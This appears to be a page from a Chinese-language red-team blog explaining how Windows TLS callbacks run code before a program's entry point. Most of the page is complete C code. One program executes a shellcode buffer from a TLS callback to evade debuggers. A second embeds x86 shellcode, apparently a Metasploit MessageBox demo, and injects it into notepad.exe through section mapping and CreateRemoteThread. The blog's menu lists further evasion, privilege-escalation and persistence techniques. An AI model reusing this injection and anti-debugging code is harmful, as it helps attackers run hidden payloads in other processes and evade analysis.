idiotc4t's blog
  • 关于这个博客
  • 武器设计
    • 我也不知道能不能写
    • C2手稿
      • Heap加密
      • 数据打包DataPacker
      • 真·手稿
      • 实现UML图
    • 先占个位置
  • 武器化
    • COM组件相关的武器化开发技术
    • 攻击demo的bof改造
    • Go项目反射改造
    • VulnBins的利用 (vuln driver)
  • 红队研究
    • NtQueryInformationProcess逆向
    • NetUserAdd逆向
  • 应急响应
    • WannaMine4.0专杀的一些技巧
  • 防御逃避
    • ReflectiveDLLInjection变形应用
    • Execute-Assembly实现
    • ShadowMove复现与思考
    • 载入第二个Ntdll绕Hook
    • 编译时混淆字符串&函数调用
    • 基于线程结束的EventLog绕过
    • 动态获取系统调用(syscall)号
    • 基于内存补丁的AMSI绕过
    • 基于API Hook和DLL注入的AMSI绕过
    • 基于内存补丁ETW的绕过
    • 基于断链的DLL隐藏
    • 基于HEX字符串执行的AV绕过
    • CobaltStrike Argue命令实现
    • 简单的分离免杀
    • 伪装PPID规避检测
    • 伪装命令行规避检测
    • 通过重写ring3 API函数实现免杀
    • 动态调用无导入表编译
    • 基于Registry的虚拟机检测
    • 利用杀毒软件删除任意文件
    • 反转字符串绕杀软
    • 重新加载.text节拖钩
    • x64转换层&跨位数进程注入
  • 代码与进程注入
    • Divide and Conquer
    • Clipboard Data Deliver
    • .NET Reflective Injection
    • APC Thread Hijack
    • CreateRemoteThread
    • APC Injection
    • Mapping Injection
    • Bypass Session 0 Injection
    • WhiteFile Offset Table Generate Shellcode
    • Early Bird
    • Early Bird & CreateRemoteThread
    • TLS Code Execute
    • SEH Code Execute
    • APC & NtTestAlert Code Execute
    • NtCreateSection & NtMapViewOfSection Code Execute
    • Process Hollowing
    • SetContext Hijack Thread
    • DLL Hollowing
  • 权限提升
    • 基于注册表劫持BypassUAC
    • 基于dll劫持BypassUac
    • 通过com组件BypassUAC
    • 通过复制Token提权到SYSTEM
    • 通过code&dll注入提权到SYSTEM
    • 通过伪装PPID提权到SYSTEM
    • 通过系统服务提权到SYSTEM
  • 权限维持
    • 主机特征绑定木马
    • 寻找有价值的文件
    • 获取机器安装的软件
    • 通过API添加Windows用户
    • Detours InLine Hook
    • DLL劫持
    • RID劫持
    • 自启动服务
    • 编写简单远控
    • 注册表自启动项
由 GitBook 提供支持
在本页
  • TLS简介
  • 静态TLS
  • 代码实现
  • 扩展
  • LINKS

这有帮助吗?

  1. 代码与进程注入

TLS Code Execute

TLS简介

线程局部存储(Thread Local Storage,TLS)用来将数据与一个正在执行的指定线程关联起来。

进程中的全局变量与函数内定义的静态(static)变量,是各个线程都可以访问的共享变量。在一个线程修改的内存内容,对所有线程都生效。这是一个优点也是一个缺点。说它是优点,线程的数据交换变得非常快捷。说它是缺点,一个线程死掉了,其它线程也性命不保; 多个线程访问共享数据,需要昂贵的同步开销,也容易造成同步相关的BUG。

如果需要在一个线程内部的各个函数调用都能访问、但其它线程不能访问的变量(被称为static memory local to a thread 线程局部静态变量),这就是TLS。

TLS提供了一个回调函数(callback function),在线程程初始化和终止的时候都会调用,由于回调函数会在入口点(EP)前执行,而调试器通常会默认在主函数入口点main设置断点,所以常常被用来作为反调试手段使用,同时回调函数允许我们自由编写任意代码,TLS分为静态TLS和动态TLS,静态TLS会把TLS相关数据硬编码在PE文件内,在本篇文章内我们使用静态TLS来实现代码执行。

静态TLS

TLS回调函数遵循特殊的编写约定,与dll主函数相似。

typedef VOID
(NTAPI *PIMAGE_TLS_CALLBACK) (
 PVOID DllHandle, 
 DWORD Reason, //Reason 遵循dll调用时相同的参数
 PVOID Reserved
 );

静态TLS存储在PE头IMAGE_DATA_DIRECTORY DataDirectory[9]的位置,同其他目录表数组一样,也是8字节结构 (VA+Size),从TLS的VA处,可以找到该目录的详细信息。

typedef struct _IMAGE_TLS_DIRECTORY32 {   //SIZE:0x18h
    DWORD   StartAddressOfRawData;
    DWORD   EndAddressOfRawData;
    DWORD   AddressOfIndex;             // PDWORD
    DWORD   AddressOfCallBacks;         // PIMAGE_TLS_CALLBACK *
    DWORD   SizeOfZeroFill;
    DWORD   Characteristics;
} IMAGE_TLS_DIRECTORY32;
typedef IMAGE_TLS_DIRECTORY32 * PIMAGE_TLS_DIRECTORY32;

代码实现

#include <Windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE") 

unsigned char buf[] ="shellcode";


VOID NTAPI TlsCallBack(PVOID DllHandle, DWORD dwReason, PVOID Reserved) 
//DllHandle模块句柄、Reason调用原因、 Reserved加载方式(显式/隐式)
{
	if (dwReason == DLL_PROCESS_ATTACH)
	{
		((void(WINAPI*)(void)) & buf)();
	}

}
//使用TLS需要在程序中新建一个.tls段专门存放TLS数据,申明使用
#pragma comment (linker, "/INCLUDE:__tls_used")
#pragma comment (linker, "/INCLUDE:__tls_callback")



#pragma data_seg (".CRT$XLB")
//.CRT表明是使用C RunTime机制,$后面的XLB中:X表示随机的标识
//L表示是TLS callback section,B可以被换成B到Y之间的任意一个字母,
//但是不能使用“.CRT$XLA”和“.CRT$XLZ”,因为“.CRT$XLA”和“.CRT$XLZ”是用于tlssup.obj的。
EXTERN_C PIMAGE_TLS_CALLBACK _tls_callback = TlsCallBack;
#pragma data_seg ()

int main()
{
	printf("ok");
	return 0;
}

x64的回调函数声明使用别的预处理指令

EXTERN_C
#pragma const_seg (".CRT$XLB")
const PIMAGE_TLS_CALLBACK _tls_callback = TlsCallBackCheckDbugger;
#pragma const_seg ()

扩展

由于TLS调用时通常已经初始化了所以进程相关信息(DLL加载、PEB分配),所以理论上我们能在TLScallback函数内实现任意代码,理论上我们能在TLS实现其他任意技术,如在TLS回调函数内实现Mapping注入技术。

#include <Windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE") 
#pragma comment (lib, "OneCore.lib")
#include <Tlhelp32.h>

char shellcode[]=
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"
"\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"
"\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"
"\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"
"\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"
"\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"
"\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"
"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"
"\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"
"\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"
"\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"
"\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89"
"\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
"\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67"
"\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3"
"\x68\x58\x20\x20\x20\x68\x4d\x53\x46\x21\x68\x72\x6f\x6d\x20"
"\x68\x6f\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9\x88\x4c\x24"
"\x10\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff"
"\x55\x08";


DWORD pid;
VOID NTAPI TlsCallBack(PVOID DllHandle, DWORD dwReason, PVOID Reserved) 
{
	WCHAR lpszProcessName[] = L"notepad.exe";
	if (dwReason == DLL_PROCESS_ATTACH)
	{
		HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

		PROCESSENTRY32 pe;
		pe.dwSize = sizeof pe;

		if (Process32First(hSnapshot, &pe))
		{
			do {
				if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
				{
					CloseHandle(hSnapshot);
					pid = pe.th32ProcessID;
					break;
				}
			} while (Process32Next(hSnapshot, &pe));
		}

		//
		HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);

		LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(shellcode));

		memcpy((PVOID)lpMapAddress, shellcode, sizeof(shellcode));



		HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

		LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ);

		HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpMapAddressRemote, NULL, 0, NULL);

		UnmapViewOfFile(lpMapAddress);
		CloseHandle(hMapping);
	}

}

#pragma comment (linker, "/INCLUDE:__tls_used")
#pragma comment (linker, "/INCLUDE:__tls_callback")



#pragma data_seg (".CRT$XLB")
EXTERN_C PIMAGE_TLS_CALLBACK _tls_callback = TlsCallBack;
#pragma data_seg ()




int main()
{
	return 0;
}

LINKS

上一页Early Bird & CreateRemoteThread下一页SEH Code Execute

最后更新于4年前

这有帮助吗?

TLS反调试的前世今生_黑客技术
LogoWIN10 X64下通过TLS实现反调试 - 狂客 - 博客园
LogoTLS回调函数(一)_Hotspurs的博客-CSDN博客_tls回调函数
LogoMemoryModule阅读与PE文件解析(四)---深入理解TLS_商少-CSDN博客